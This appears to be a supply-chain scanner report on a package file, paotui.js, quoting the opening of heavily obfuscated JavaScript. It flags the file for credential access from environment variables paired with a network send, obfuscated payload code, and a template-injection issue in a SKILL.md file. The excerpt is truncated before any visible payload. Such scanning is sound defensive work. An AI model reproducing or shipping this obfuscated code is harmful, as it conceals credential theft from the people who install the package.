'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Obfuscated Code

High
Category
Supply Chain
Confidence
80% confidence
Finding

Code contains obfuscation (base64, hex encoding with execution). This is often used to hide malicious functionality.

Content

Scanner excerpt · paotui.js (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
'use strict';(function(_0x2c10a7,_0x2c7adc){var _0x50a4ba={_0x439c34:'FA*r',_0x203366:0x206e,_0x14e8d2:0x1c37,_0x20e6fb:0xe1e,_0x2f2842:'@sL6',_0x3f26f7:0x2ad7,_0x2b934d:'c^%a',_0x51f68b:0x3304,_0x41d9d7:'80qn',_0x3e90fa:0x326,_0x2e0aa7:0x1552,_0x57c432:0x3c23,_0x391b90:0x32a2,_0x2524ca:'1g3G',_0x3cff41:0x1fb6,_0x4c2121:0x24c0,_0x582cc6:'NTbq',_0x28cb9a:0xde1,_0x1035a9:0x23c3,_0xb6b49d:0x5ae},_0x55fc49=_0x2c10a7();function _0x4d22c7(_0x33bde7,_0x44d64b,_0x3fdc4a,_0x4f684c){return _0x3a83(_0x3fdc4a- -0x325,_0x33bde7);}function _0x236426(_0x3a78b9,_0x19118a,_0x2a0350,_0x3b6f77){return _0x3a83(_0x19118a- -0x37c,_0x2a0350);}while(!![]){try{var _0x484dfe=-parseInt(_0x4d22c7(_0x50a4ba._0x439c34,0x220e,_0x50a4ba._0x203366,0x3928))/(-0x2545+-0x5e*0x65+-0x1297*-0x4)+parseInt(_0x236426(_0x50a4ba._0x14e8d2,_0x50a4ba._0x20e6fb,_0x50a4ba._0x2f2842,-0xdf5))/(-0x666+0x25a+-0x15a*-0x3)*(parseInt(_0x4d22c7('OtQa',_0x50a4ba._0x3f26f7,0x154e,0x4ea))/(-0x4+-0x3*0x7fa+-0x17f5*-0x1))+-parseInt(_0x236426(0x114c,0xd9,_0x50a4ba._0x2b934d,0x35e))/(0x3*0x4ef+-0x333*0x9+0xe02)*(parseInt(_0x236426(0x2b46,_0x50a4ba._0x51f68b,'ABZs',0x441a))/(0x2ad*0x3+0x7e+-0x880))+parseInt(_0x4d22c7(_0x50a4ba._0x41d9d7,-_0x50a4ba._0x3e90fa,_0x50a4ba._0x2e0aa7,0x68f))/(0x2c0+0x1*0x23c2+-0x267c)+parseInt(_0x236426(_0x50a4ba._0x57c432,_0x50a4ba._0x391b90,_0x50a4ba._0x2524ca,_0x50a4ba._0x3cff41))/(0x3f9*0x4+0xa1b*-0x2+0x459)+-parseInt(_0x236426(0x2265,_0x50a4ba._0x4c2121,_0x50a4ba._0x582cc6,_0x50a4ba._0x28cb9a))/(-0xcec*0x1+0xd16+0x11*-0x2)+parseInt(_0x4d22c7('m8JP',0x48c3,0x331b,_0x50a4ba._0x1035a9))/(0x21c*0xd+-0x88*0x1+0x55f*-0x5)*(-parseInt(_0x236426(-0x93b,0xae5,'c^%a',_0x50a4ba._0xb6b49d))/(0xd7*0x13+0xd9*0x13+0x2*-0x1003));if(_0x484dfe===_0x2c7adc)break;else _0x55fc49['push'](_0x55fc49['shift']());}catch(_0x456713){_0x55fc49['push'](_0x55fc49['shift']());}}}(_0x4a56,0xaac89+0x1*-0xa1783+0x52ecf));var __getOwnPropNames=Object['getOwnPr'+_0x5b9aa9(0x24e9,0xe3b,0xdf7,'rKS6')+_0x5b9aa9(0x42b7
...[truncated 28 chars]

Static analysis

Detected: suspicious.env_credential_access, suspicious.generated_source_template_injection, suspicious.obfuscated_code

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
paotui.js:2

User-controlled placeholder is embedded directly into generated source code.

Critical
Code
suspicious.generated_source_template_injection
Location
SKILL.md:104

Potential obfuscated payload detected.

Warn
Code
suspicious.obfuscated_code
Location
paotui.js:2